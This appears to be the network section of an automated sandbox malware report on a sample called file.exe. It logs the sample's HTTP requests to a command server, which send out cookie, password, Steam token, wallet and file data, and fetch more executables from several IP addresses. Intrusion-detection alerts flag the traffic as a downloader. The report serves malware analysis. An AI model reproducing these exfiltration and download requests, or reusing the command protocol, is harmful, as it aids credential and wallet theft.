Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIIIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 2d 2d 0d 0a Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDAKFCGIJKJKFHIDHIII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 2d 2d 0d 0a Data Ascii: ------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="file"------CBKJJJDHDGDAAKECAKJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCGHIJKEGIECBFCBAEHost: 185.215.113.206Content-Length: 431Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 2d 2d 0d 0a Data Ascii: ------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDGCGHIJKEGIECBFCBAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIIIIJKFCAAECAKFIEHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 2d 2d 0d 0a Data Ascii: ------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="file"------AFIIIIJKFCAAECAKFIEH--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKFHIEGDHJKECAAKKEBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDBGDGCGDAKFIDGIDBFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 2d 2d 0d 0a Data Ascii: ------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="message"wallets------IJDBGDGCGDAKFIDGIDBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAFBGIJKEGIECAAFHDHHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 2d 2d 0d 0a Data Ascii: ------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="message"files------HDAFBGIJKEGIECAAFHDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHIJEHJDHIDHIDAEHCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 2d 2d 0d 0a Data Ascii: ------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="file"------AEGHIJEHJDHIDHIDAEHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 2d 2d 0d 0a Data Ascii: ------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="message"ybncbhylepme------FIJJKECFCFBGDHIECAAF--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 2d 2d 0d 0a Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DBKFIDAAEHIEGCBFIDBF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 30 42 34 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22970B45882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /files/unik.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 36 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009625001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 36 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009635001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49777 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49907 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50054 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50074 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50108 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE3CC60 PR_Recv,

1_2_6CE3CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
